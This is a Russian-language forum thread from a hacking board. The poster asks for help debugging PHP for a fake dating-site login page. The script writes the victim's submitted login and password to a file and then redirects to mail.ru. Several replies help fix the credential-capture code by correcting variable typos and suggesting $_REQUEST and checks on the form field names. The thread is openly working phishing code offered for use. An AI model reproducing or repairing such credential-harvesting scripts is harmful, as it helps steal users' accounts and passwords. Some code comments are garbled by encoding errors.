Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   что же здесь не так то??? (https://forum.antichat.xyz/showthread.php?t=110183)

Ferment 09.03.2009 22:04

что же здесь не так то???
 
сделал очередной фэйк на знакомства, после ввода логина и пароля перекидывает человека куда нужно, к базе обращается и даже пишет в ней, но только двоеточие : , а не данные юзера
не глянете скрипт который за это отвечает, вроде всё проверил.....где ошибка?
<?PHP

$Login = $_POST['Login'];//?????
$Pass = $_POST['Password'];//??????
$fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû
fwrite($fp,"$Login:$Passw\n"); // Çàïèñûâàåì ëîãèí:ïàðîëü
fclose($fp); // Çàêðûâàåì ôàéë

header(echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://cards.mail.ru/card.html


?>

diznt 09.03.2009 22:06

fwrite($fp,"$Login:$Passw\n");

я думаю надо так

fwrite($fp,$Login.":".$Passw);

пробуй

Gifts 09.03.2009 22:09

Ferment Опечатка в коде, в одном месте $Pass в другом $Passw И еще одно - текст формы в студию, возможно поля называются не Login Password

Ferment 10.03.2009 00:23

сделал как написал diznt но результат не изменился. так и присылает на базу двоеточие и всё......
<?PHP

$Login = $_POST['Login'];//?????
$Pass = $_POST['Password'];//??????
$fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû
fwrite($fp,$Login.":".$Pass); // Çàïèñûâàåì ëîãèí:ïàðîëü
fclose($fp); // Çàêðûâàåì ôàéë

header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f");
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//???? ?????? ???????????? ????? ???? ??? ?? ???? ??????!

?>

nonamez 10.03.2009 00:40

Цитата:

$_POST['Password']
$_POST['Login']
скорей всего в этом дело-не правельные переменные пытаешься ловить

Pashkela 10.03.2009 00:42

ТС просто не понимает, что он даже не весь код выложил

kl0yn 10.03.2009 00:56

как уже говорили проверь в форме названия инпутов "Login", "Password".
Возможно данные с формы передаються методом get.
Вообщем, попробуй $_REQUEST['Login'] вместо $_POST['Login']

4adr0s 10.03.2009 01:00

Я может и ламос, но вопрос такой: а не стоит ли переменные запятыми отделять??
fwrite($fp,$Login,":",$Passw);

eLWAux 10.03.2009 01:01

если би хоть кто-то запустил, он би увидел ошибку
Цитата:

Parse error: parse error, expecting `')'' on line 9
Код:

<?php

$Login = $_POST['Login'];
$Pass = $_POST['Password'];
$fp = fopen("654321","a+");
fwrite($fp,"$Login:$Passw\n");
fclose($fp);

header(echo "<html><head><META HTTP-EQUIV='Refresh'
    content ='0; URL=http://cards.mail.ru/card.html");

?>

видимо автор тупо скопировал скрипт
p.s.: даже при запуске пишет что ошибка на 9 строчке. так зачем ти ищеш ошибку во второй ?!

kl0yn 10.03.2009 01:05

4adr0s,
int fwrite ( resource $handle, string $string [, int $length] )

$handle - хендл файла
$string - строка которую хочешь записать
$length - длина строки (этот параметр не объязателен)
т.е. максимум 3 параметра

а у тебя параметров 4


Время: 15:45